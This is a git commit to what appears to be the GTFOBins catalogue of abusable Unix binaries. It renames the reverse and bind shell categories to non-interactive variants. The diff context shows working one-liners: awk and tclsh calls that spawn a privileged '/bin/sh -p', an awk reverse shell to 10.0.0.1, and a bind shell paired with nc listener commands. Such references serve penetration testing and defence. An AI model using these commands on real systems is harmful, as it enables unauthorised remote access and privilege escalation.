Introduce non-interactive reverse and bind shells

This commit is contained in:
Emilio Pinna 2018-05-23 08:06:50 +01:00
parent 19710192c3
commit 793cd12812
3 changed files with 11 additions and 3 deletions

View File

@ -37,3 +37,11 @@ reverse-shell:
load-library:
label: Library load
description: It loads shared libraries that may be used to run code in the binary execution context.
bind-shell-non-interactive:
label: Non-interactive bind shell
description: It can bind a non-interactive shell to a local port to allow remote network access.
reverse-shell-non-interactive:
label: Non-interactive reverse shell
description: It can send back a non-interactive reverse shell to a listening attacker to open a remote network access.

View File

@ -6,7 +6,7 @@ functions:
- code: sudo awk 'BEGIN {system("/bin/sh -p")}'
suid-limited:
- code: ./awk 'BEGIN {system("/bin/sh -p")}'
reverse-shell:
reverse-shell-non-interactive:
- description: Run `nc -l -p 8000` to receive the shell on the other end.
code: |
RHOST=10.0.0.1
@ -15,7 +15,7 @@ functions:
s = "/inet/tcp/0/" RHOST "/" RPORT;
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
bind-shell:
bind-shell-non-interactive:
- description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end.
code: |
LPORT=8000

View File

@ -12,7 +12,7 @@ functions:
- code: |
./tclsh
exec /bin/sh -p <@stdin >@stdout 2>@stderr
reverse-shell:
reverse-shell-non-interactive:
- description: Run `nc -l -p 8000` to receive the shell on the other end.
code: |
export RHOST=10.0.0.1